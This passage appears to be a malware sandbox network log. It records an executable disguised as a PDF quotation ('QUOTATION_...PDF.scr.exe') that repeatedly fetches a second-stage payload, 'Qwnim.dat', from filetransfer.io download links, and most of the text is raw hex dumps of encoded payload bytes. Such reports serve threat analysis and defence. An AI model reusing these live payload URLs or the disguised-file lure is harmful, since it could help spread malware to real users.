bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 a8 e0 a7 16 Data Ascii: \!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:24:26 UTC	1369	IN	Data Raw: dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da ae f7 9a 29 Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O)
2024-10-04 09:24:26 UTC	1369	IN	Data Raw: 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 73 4a 09 0d Data Ascii: v5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+VsJ
2024-10-04 09:24:26 UTC	1369	IN	Data Raw: 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa 67 a2 80 cb Data Ascii: BjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0g
2024-10-04 09:24:26 UTC	1369	IN	Data Raw: 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 97 d4 cb 51 Data Ascii: #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0XQ
2024-10-04 09:24:26 UTC	1369	IN	Data Raw: 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a 6a bd 72 56 Data Ascii: Nc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDbjrV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50143	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:30 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:31 UTC	1072	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:24:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=vfbfocaug6837ct86hp560sclb; expires=Fri, 18-Oct-2024 09:24:31 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/yGXCKBDIQrAq CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OLWqTnonaSVsx2HzW%2Fot%2BDxVP8uXDIFQ3CWB8vODHWZ8ashWpXO%2FNwD4g09q0ttGjzJ6oAQdZOrN7x3x%2BsTGrgorDZGf31VFs3FeUlEUyTzcQfOrS8a9%2Bwx9mSUqF53LI%2FA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e8c1bbb4376-EWR
2024-10-04 09:24:31 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 79 47 58 43 4b 42 44 49 51 72 41 71 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/yGXCKBDIQrAq">Please click here to continue</a>.</p>
2024-10-04 09:24:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50152	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:31 UTC	98	OUT	GET /storage/download/yGXCKBDIQrAq HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:32 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:24:32 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=fffdfeae18e014bf92f1054c98de0d4f; expires=Fri, 18-Oct-2024 09:24:32 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GVVG2S0QwnVj7ARSbnyEHdFDzK%2F%2BPWpkk6DRYfTRY3wxeDt1vHJ9ecc4UsX8%2Ffns6mdmQeLPxRGCzXJVeNBcJgkbQnWFWYwWXCavnmQO70tn6mdZoowQCB%2BdJ7qaOcArixC1IbA7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41e941d794362-EWR
2024-10-04 09:24:32 UTC	1369	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:24:32 UTC	1369	IN	Data Raw: da 56 5d 1c 30 5d d4 a8 71 04 f4 f4 99 09 60 d1 7a ab e0 9f d9 88 d0 ad 46 84 e3 18 f2 6e 37 8f 24 49 45 d5 43 3f d8 3d 01 d6 48 d8 f9 63 c7 89 87 2d d7 15 3b a5 dc e5 58 1e 10 8d 9c 03 ad ac 0c a8 d1 84 07 c0 3b ab 10 ae ee f4 24 01 6f bc df 4d 85 64 89 37 8c aa df 56 b5 f8 07 6b df 2d e0 51 1a fd 88 5e ba d2 39 d4 18 0f aa 27 2f ce 84 68 92 1c 45 c4 fd ab e0 8d bc af bf ba 1d 43 7b 28 b3 4e 70 ff f7 7f 96 fe db 60 bd 79 db 09 bc 30 36 98 b9 11 f1 c7 11 48 a1 9a d7 c7 8c 82 90 ce 21 1d b0 72 b0 db 11 3e 3c 11 e5 33 b9 8e 3b cd dd c9 fe 52 1b 48 9d 5e 51 8a e8 5b 59 ff 91 2f a8 84 9a 29 d9 2c 35 b6 5e f2 59 64 f4 e9 ff 60 ba a0 28 65 69 6e a4 2d 39 2c d6 eb 3c ac 50 e4 7b 77 d8 1f 87 0d 90 67 a9 eb 8a c9 19 f1 71 e4 d3 a4 5f d9 10 4f 24 a8 83 9b 33 f6 c6 Data Ascii: V]0]q`zFn7$IEC?=Hc-;X;$oMd7Vk-Q^9'/hEC{(Np`y06H!r><3;RH^Q[Y/),5^Yd`(ein-9,<P{wgq_O$3
2024-10-04 09:24:32 UTC	1369	IN	Data Raw: 53 66 41 70 68 6c f0 f3 73 f2 c9 a7 cb 1e f6 25 44 47 df 24 f4 c0 9e c0 55 42 10 65 0d a1 a4 45 ca 58 d1 94 fb c6 61 c6 60 5e 48 1c 10 19 d7 94 bf 23 a2 4f d5 a9 15 2c 28 0b d9 c3 14 6b c8 aa 85 f5 a9 41 94 ec 62 fc ce b2 78 6e 66 99 47 00 15 71 01 62 eb 03 2d ef a0 aa 23 d6 f2 e0 65 44 d9 10 98 78 7b c7 b7 f6 16 3c 35 42 ee f8 a9 f3 35 95 4d dc 9c 10 38 a8 bf 44 7c 4b f0 48 2a 3f 5c 5b b4 4d 5f d5 3c 97 61 bd 8d 2f 11 93 73 d1 b3 1d b4 0e bd 7d c0 47 b0 16 0f 5f 2b 2d 92 db 05 4a 44 47 05 df a6 45 0b 86 32 89 a7 7d 36 e1 54 42 a7 12 f1 dc 59 e5 da 31 2a cf 54 e7 f0 a4 67 38 42 1e 5b 82 03 cd 51 30 e2 e4 86 e8 f4 33 77 bd 0e 94 d5 21 66 76 01 7b 14 3e ec 0b e1 f7 be f2 f5 4f bc cd d5 89 dc b4 89 ae 82 57 e4 ab 0d 1c 79 85 b9 ac 65 9c 00 30 9f 99 6e 6d 1b Data Ascii: SfAphls%DG$UBeEXa`^H#O,(kAbxnfGqb-#eDx{<5B5M8D\|KH?\[M_<a/s}G_+-JDGE2}6TBY1Tg8B[Q03w!fv{>OWye0nm
2024-10-04 09:24:32 UTC	1369	IN	Data Raw: 76 25 0b 95 48 9e 19 eb d6 3e 1a 14 da fe 07 fc 1f 27 3c cf 78 07 8e 76 6a 4b be df 40 89 ef b3 0a 9b 7a e2 c5 ff ef 56 a5 ca fb 9c cd e6 9e df 85 9f 85 f2 10 e8 77 a1 ea 68 9c 75 44 fa 8b ae 5c 00 eb 5f 5f 3e 7d 0d b6 8c 00 43 78 cc e2 87 05 a4 2f 51 11 18 13 07 39 f0 59 40 c9 f4 86 1b 7e 62 2d 36 17 dc 45 eb 0e 10 f4 4a 30 c8 3e d1 fe 6f 1a 6c 40 33 a7 5e 2c 6e 65 c0 9f 4d 9c 90 98 38 22 99 6a f2 15 d0 ac 18 76 ef 50 4b 44 08 d5 e9 e0 c3 3f 45 13 25 4d 0c be da ab 57 43 ef d5 d8 a2 c8 79 43 c7 3d cf 01 26 2e af f3 e9 87 18 4c 5a 49 ff e2 92 eb 54 0a 76 a6 0f 0e 4c 8f 85 eb 23 5d 53 df da 96 41 61 b0 c7 20 7b 4f 53 c0 1a 0a ed bf 58 cb 6b ca a7 d0 dd 4f 83 78 7c be f5 13 00 1f b6 9c 17 b4 a7 58 51 55 99 d4 4a 92 56 68 66 e1 33 99 cb dc a6 02 82 c1 4b 16 Data Ascii: v%H>'<xvjK@zVwhuD\__>}Cx/Q9Y@~b-6EJ0>ol@3^,neM8"jvPKD?E%MWCyC=&.LZITvL#]SAa {OSXkOx\|XQUJVhf3K
2024-10-04 09:24:32 UTC	1369	IN	Data Raw: e2 35 ed 46 a7 2c 65 7a 17 20 20 ff 08 81 c4 ea c3 02 b1 68 f8 df ab 4d 75 e7 42 f6 9d 33 ec 2c 27 55 4b 87 c1 7a f1 20 cb 81 33 ae f8 21 aa 4b 71 0c 82 41 d4 27 35 0b b7 6a 47 59 c6 3e 63 da de 5a b8 fd a3 37 d4 cf 8e 78 93 93 8a a1 1d a9 b8 19 4c bc a6 f1 af 09 d0 51 7c 7d f5 7c 10 d7 3a eb e1 36 b1 4f 81 eb e8 1a 9c c2 6b c5 72 f6 ba cf 43 54 b8 1a d1 b9 ac 78 77 80 4c cc 61 35 93 7c c0 63 27 6a 72 c1 c1 0b 58 fa 39 27 3a 68 fd 6f 19 b9 9b be 10 44 21 0b 50 07 c3 96 c7 f7 c3 8b 9f 76 5d c6 7e 28 77 16 18 ba fb 09 76 a8 c8 d2 ec c8 c9 9b 20 2d 7a ca 96 47 78 24 a6 58 ab b9 96 e4 0b 83 1a 5e 52 43 2b da 64 e1 6c d9 db 1a 1b 8a 5e 85 bb 93 e2 04 f6 0e cc a4 9c 80 38 bb 98 94 13 be 92 c4 55 aa a4 59 50 40 c9 38 b5 a2 65 ad bd e1 ab 9d 0b a9 2f 55 f8 80 ec Data Ascii: 5F,ez hMuB3,'UKz 3!KqA'5jGY>cZ7xLQ\|}\|:6OkrCTxwLa5\|c'jrX9':hoD!Pv]~(wv -zGx$X^RC+dl^8UYP@8e/U
2024-10-04 09:24:32 UTC	1369	IN	Data Raw: cf e3 34 fd 62 b6 19 07 14 4a c7 9d 49 f2 ae 2f 6c 12 22 91 1a a9 ff 84 12 34 6f a3 80 de 66 d8 36 49 42 e3 98 65 bb db 5c f1 00 98 89 d0 1a 40 30 2a d6 f2 5a 79 1b 44 a6 05 4d bc 6b 19 31 9a 1a 98 54 a3 27 33 50 3f 40 f4 d3 a7 37 14 a2 71 43 4a d8 40 13 f0 0e c4 ab cd 20 2a 84 37 98 05 42 ee 63 14 b5 1a f4 7b 57 84 7e c6 fc b5 27 e8 34 fa 49 a4 41 d8 5d a6 2e a8 cc c9 70 1d b0 81 ea b8 7c 67 e8 1d ed aa 0a d5 f4 49 8e 81 de f4 35 71 d5 54 31 c3 6a 61 bf 0a 9b b3 be b7 34 4b c4 1d 16 1a b2 5f 29 52 98 ac cf 93 4a ae 09 dc 07 c3 b2 24 af ba 88 61 03 68 b7 6f a9 29 e9 99 bc 53 1e 8e 98 29 c9 62 79 ab 4c f6 2f 58 72 c9 89 29 18 f4 c9 98 17 e5 42 71 10 60 f3 71 04 32 37 04 8d a6 fc 79 3e 41 f1 57 88 d0 25 8f 02 cd a8 ab f7 03 4c 49 36 f1 16 6d cc ff 86 8e ee Data Ascii: 4bJI/l"4of6IBe\@0ZyDMk1T'3P?@7qCJ@ 7Bc{W~'4IA].p\|gI5qT1ja4K_)RJ$aho)S)byL/Xr)Bq`q27y>AW%LI6m
2024-10-04 09:24:32 UTC	1369	IN	Data Raw: 39 90 b4 68 7b 14 72 02 24 0c 4b 36 13 b0 06 3e f3 f7 da 1d 71 a8 fe c6 0b cb 8c b8 ab 2f 68 37 81 49 b6 5b 02 b0 2b f1 88 7c 26 30 b1 89 1d db d8 ed d7 67 f3 b5 80 d1 e3 fa 12 7c 6e 5d f3 89 42 67 cf e9 98 13 87 c0 41 b1 c9 62 de 7c a2 97 81 87 a4 fb 39 4d 95 05 ef fe fa de cb 62 f1 16 eb 9e 33 54 d2 36 0a c4 65 04 04 dc fc 4b 7e dd 93 55 21 ba c3 6a 92 a8 f9 58 dc 42 2e 60 88 ec 1a c9 3c 86 5b 2c 6f ea 81 16 8a fd bc ed 7c a4 d4 7b ad a9 f0 3e ad 9c 25 0f 95 2c 3e ea a0 b1 2d 42 35 a2 ac d0 e7 c2 47 10 36 8e 5b 75 fc 7b f2 26 d2 68 54 8e 65 c8 30 bd 79 ec f6 5a bb b3 cd 44 0c 9e 9d c2 8a 1c 51 29 09 19 9a a3 a7 7f 0f f9 86 b1 eb 7f bd f4 74 bc 86 8e e6 c4 89 60 da 52 15 d6 80 a1 3f fa 3c 81 f0 23 16 fa 62 71 24 1d 4a 22 59 e2 f5 8c db c6 c1 be cb 4d 7e Data Ascii: 9h{r$K6>q/h7I[+\|&0g\|n]BgAb\|9Mb3T6eK~U!jXB.`<[,o\|{>%,>-B5G6[u{&hTe0yZDQ)t`R?<#bq$J"YM~
2024-10-04 09:24:32 UTC	1369	IN	Data Raw: 2a 14 bb e9 7c 22 c5 0b fd ee a4 f8 d7 8e 0f a3 bf ed e1 8a b3 9b 05 32 2f f3 ad 94 4a 93 3a 47 ab b8 9c 20 f4 28 af ab fd 2e 44 88 57 df 62 2c 6a 98 05 9a 95 70 ce 92 eb b8 a9 38 41 93 35 ac 6d 6c be bd af 66 7c 51 2a ec d8 99 dc 1b aa f5 7e 8b 49 8b fb 8d 70 b8 0e 06 38 75 77 cf d1 45 20 47 b6 80 6e 5e ed 88 82 b5 de d8 72 3d 2e ec f6 43 67 0a 1f 63 05 de bf c8 10 04 13 71 1e f6 c6 0d a1 37 1f 26 60 4d bb 50 c0 99 11 f8 0b 09 1b d9 05 8b 2d 36 de 09 91 30 76 2b 74 55 b6 8d b6 c7 6d a7 92 79 f9 c6 c5 d1 9f 49 4d 96 a5 35 b2 07 78 ec a4 f3 81 c7 12 6a 7b b7 9c cf b2 9d 3b 03 00 5c 3a 45 87 cd 9e 19 92 f7 20 61 a8 c4 c2 b2 96 f9 db 98 59 ad d8 2b 9b c9 c3 b4 c1 b5 df 97 ad 90 4b ce bd 40 1e 7c 59 93 96 5c 9d 5d 53 fd 48 f9 33 cb 03 d7 0e 33 c6 87 6d 91 3b Data Ascii: \|"2/J:G (.DWb,jp8A5mlf\|Q~Ip8uwE Gn^r=.Cgcq7&`MP-60v+tUmyIM5xj{;\:E aY+K@\|Y\]SH33m;
2024-10-04 09:24:32 UTC	1369	IN	Data Raw: 93 2b ed bc 2e 24 c7 40 b0 47 04 99 99 f2 66 45 c1 97 56 e2 bf 12 1b 07 68 d5 7d 77 f6 7e 20 7d ce 35 8f 0b a5 1b fb 09 82 b4 73 10 bf d5 4a 22 03 55 b2 2a 49 57 86 f9 82 9c 62 c5 3c ad 00 ad 58 46 e9 aa 7c 2a 7d a3 79 6c 14 c7 9d fc 43 60 21 f0 5b ad 22 b9 5e b4 6b d1 e9 6b 75 90 d1 6a 44 ef 1b 09 47 e8 77 2e 8e 5f 66 8a 81 53 ca 73 03 2d cf bc ff bb c0 2b b4 20 54 b4 30 a9 b1 96 c1 fe ce 95 aa 30 a8 81 7a 00 a5 d1 c1 ed 8e 7a 93 84 f9 fc e2 f9 cd 05 de fb ea 44 c2 88 d0 46 b8 ed a3 b8 2c 2c f6 97 e3 e9 04 94 61 1e e4 17 d2 18 2d 3b d7 fa 4d 52 23 e5 98 ed 0e bd 41 11 23 0f 2c ed db 59 ee 6f 8d 5c 3c 91 f5 3e 83 ba 08 a2 a6 75 c4 06 44 b8 fd bb 7c 84 d4 8b 6b 30 91 e8 38 e1 f1 a0 08 7d 45 06 02 51 3f 1f b6 52 73 e5 45 21 ab 94 4c ee 1a e3 b8 04 73 9d 1e Data Ascii: +.$@GfEVh}w~ }5sJ"UIWb<XF\|}ylC`!["^kkujDGw._fSs-+ T00zzDF,,a-;MR#A#,Yo\<>uD\|k08}EQ?RsE!Ls
2024-10-04 09:24:32 UTC	1369	IN	Data Raw: c7 08 7f 1d e7 c2 7f 01 79 7e 82 5e b8 9b 5a c3 55 fa 83 be c7 78 41 57 bc 23 02 5d ee 12 c0 43 0e 3c 09 83 18 a6 68 09 0f 5b c3 23 68 67 43 f0 1a 20 3f 76 a3 d4 d1 f4 2a 8b 09 dd 20 a1 93 0e 81 8c e5 aa 59 75 8a 3f 49 ba b5 31 b3 d0 63 14 06 e1 2f fe 0c 5c 73 e5 12 69 02 8e 8f 31 f4 2f 2b e0 4e 1a 38 68 2c 1f 79 60 65 21 9b 63 2d 77 b0 73 2d 63 63 88 d5 09 65 d7 c2 03 2c df 41 2c 26 a5 ee 71 b2 24 7b 7c 23 8a 07 11 ac 84 5c 4c 5e db 7e 0b ee 7e f6 62 57 c6 13 6f 74 60 2a 45 4f 9a 2e 31 15 2b c1 93 b8 5b 02 e8 97 d4 25 e7 4d ef af 09 93 cc a2 7e e3 4f 28 1e 10 57 48 5c bb 89 cd 20 61 5a d8 a8 61 ad 7a b4 ae 2b e5 d0 80 3c 99 a2 1f 48 66 20 cd 50 42 83 f5 a5 34 40 67 db 8a 89 cb 90 dc e3 56 11 87 da 91 1c 1a a1 f7 ce dd 0c d8 59 7b bf 05 9a 1e f6 4f 44 52 Data Ascii: y~^ZUxAW#]C<h[#hgC ?v* Yu?I1c/\si1/+N8h,y`e!c-ws-cce,A,&q${\|#\L^~~bWot`*EO.1+[%M~O(WH\ aZaz+<Hf PB4@gVY{ODR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50160	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:35 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:36 UTC	1062	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:24:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=pdhsivhbs28345ajvg2ulcmf49; expires=Fri, 18-Oct-2024 09:24:35 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/EobBo452Hdxh CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u3Uc9NrUcWiVQpLhze8S1I0saI3KjlEtQs5BLopIFCwNBYjFOBDJWyHu0gGKtJG1imU5o2423ysFbEGLetRWLayG2thBC23YTnZgdwRsWMoHI%2BW0KpqvZNeHCldHQIagGW8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41eab5d3342f5-EWR
2024-10-04 09:24:36 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 45 6f 62 42 6f 34 35 32 48 64 78 68 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/EobBo452Hdxh">Please click here to continue</a>.</p>
2024-10-04 09:24:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

